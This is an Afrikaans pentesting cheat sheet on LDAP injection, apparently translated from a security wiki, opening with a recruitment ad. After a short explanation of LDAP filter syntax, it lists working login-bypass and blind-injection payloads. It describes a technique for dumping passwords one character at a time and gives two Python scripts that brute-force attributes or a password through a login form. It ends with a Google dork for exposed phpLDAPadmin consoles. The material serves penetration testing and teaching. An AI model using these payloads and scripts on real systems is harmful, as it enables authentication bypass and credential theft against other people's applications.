As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiende Pools geskryf en gesproke vereis_). {% embed url="https://www.stmcyber.com/careers" %} ## LDAP Injection ### **LDAP** **As jy wil weet wat LDAP is, besoek die volgende bladsy:** {% content-ref url="../network-services-pentesting/pentesting-ldap.md" %} [pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md) {% endcontent-ref %} **LDAP Injection** is 'n aanval wat webtoepassings teiken wat LDAP-verklarings uit gebruikersinvoer opstel. Dit gebeur wanneer die toepassing **nie behoorlik sanitiseer** invoer nie, wat aanvallers toelaat om **LDAP-verklarings te manipuleer** deur 'n plaaslike proxy, wat moontlik kan lei tot ongeoorloofde toegang of datamanipulasie. {% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %} **Filter** = ( filtercomp )\ **Filtercomp** = en / of / nie / item\ **En** = & filterlist\ **Of** = |filterlist\ **Nie** = ! filter\ **Filterlist** = 1\*filter\ **Item**= eenvoudig / teenwoordig / substring\ **Eenvoudig** = attr filtertype assertionvalue\ **Filtertype** = _'=' / '\~=' / '>=' / '<='_\ **Teenwoordig** = attr = \*\ **Substring** = attr ”=” \[begin] \* \[eindig]\ **Begin** = assertionvalue\ **Eindig** = assertionvalue\ **(&)** = Absolute WAAR\ **(|)** = Absolute VALSE Byvoorbeeld:\ `(&(!(objectClass=Impresoras))(uid=s*))`\ `(&(objectClass=user)(uid=*))` Jy kan toegang tot die databasis verkry, en dit kan inligting van 'n verskeidenheid verskillende tipes bevat. **OpenLDAP**: As 2 filters aankom, voer slegs die eerste een uit.\ **ADAM of Microsoft LDS**: Met 2 filters gooi hulle 'n fout.\ **SunOne Directory Server 5.0**: Voer albei filters uit. **Dit is baie belangrik om die filter met die korrekte sintaksis te stuur of 'n fout sal gegooi word. Dit is beter om slegs 1 filter te stuur.** Die filter moet begin met: `&` of `|`\ Voorbeeld: `(&(directory=val1)(folder=public))` `(&(objectClass=VALUE1)(type=Epson*))`\ `VALUE1 = *)(ObjectClass=*))(&(objectClass=void` Dan: `(&(objectClass=`**`*)(ObjectClass=*))`** sal die eerste filter wees (die een wat uitgevoer word). ### Login Bypass LDAP ondersteun verskeie formate om die wagwoord te stoor: duidelik, md5, smd5, sh1, sha, crypt. So, dit kan wees dat ongeag wat jy binne die wagwoord invoer, dit gehasht word. ```bash user=* password=* --> (&(user=*)(password=*)) # The asterisks are great in LDAPi ``` ```bash user=*)(& password=*)(& --> (&(user=*)(&)(password=*)(&)) ``` ```bash user=*)(|(& pass=pwd) --> (&(user=*)(|(&)(pass=pwd)) ``` ```bash user=*)(|(password=* password=test) --> (&(user=*)(|(password=*)(password=test)) ``` ```bash user=*))%00 pass=any --> (&(user=*))%00 --> Nothing more is executed ``` ```bash user=admin)(&) password=pwd --> (&(user=admin)(&))(password=pwd) #Can through an error ``` ```bash username = admin)(!(&(| pass = any)) --> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True. ``` ```bash username=* password=*)(& --> (&(user=*)(password=*)(&)) ``` ```bash username=admin))(|(| password=any --> (&(uid=admin)) (| (|) (webpassword=any)) ``` #### Lyste * [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt) * [LDAP Attribuut](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) * [LDAP PosixAccount attribuut](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html) ### Blind LDAP Inspuiting Jy kan vals of waar antwoorde afdwing om te kontroleer of enige data teruggestuur word en 'n moontlike Blind LDAP Inspuiting te bevestig: ```bash #This will result on True, so some information will be shown Payload: *)(objectClass=*))(&objectClass=void Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*)) ``` ```bash #This will result on True, so no information will be returned or shown Payload: void)(objectClass=void))(&objectClass=void Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*)) ``` #### Dump data Jy kan oor die ascii letters, syfers en simbole herhaal: ```bash (&(sn=administrator)(password=*)) : OK (&(sn=administrator)(password=A*)) : KO (&(sn=administrator)(password=B*)) : KO ... (&(sn=administrator)(password=M*)) : OK (&(sn=administrator)(password=MA*)) : KO (&(sn=administrator)(password=MB*)) : KO ... ``` ### Scripts #### **Ontdek geldige LDAP-velde** LDAP-objekte **bevat standaard verskeie eienskappe** wat gebruik kan word om **inligting te stoor**. Jy kan probeer om **almal daarvan te brute-force om daardie inligting te onttrek.** Jy kan 'n lys van [**standaard LDAP-eienskappe hier**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) vind. ```python #!/usr/bin/python3 import requests import string from time import sleep import sys proxy = { "http": "localhost:8080" } url = "http://10.10.10.10/login.php" alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;" attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",] for attribute in attributes: #Extract all attributes value = "" finish = False while not finish: for char in alphabet: #In each possition test each possible printable char query = f"*)({attribute}={value}{char}*" data = {'login':query, 'password':'bla'} r = requests.post(url, data=data, proxies=proxy) sys.stdout.write(f"\r{attribute}: {value}{char}") #sleep(0.5) #Avoid brute-force bans if "Cannot login" in r.text: value += str(char) break if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value finish = True print() ``` #### **Spesiale Blind LDAP Inbraak (sonder "\*")** ```python #!/usr/bin/python3 import requests, string alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;" flag = "" for i in range(50): print("[i] Looking for number " + str(i)) for char in alphabet: r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char) if ("TRUE CONDITION" in r.text): flag += char print("[+] Flag: " + flag) break ``` ### Google Dorks ```bash intitle:"phpLDAPadmin" inurl:cmd.php ``` ### Meer Payloads {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
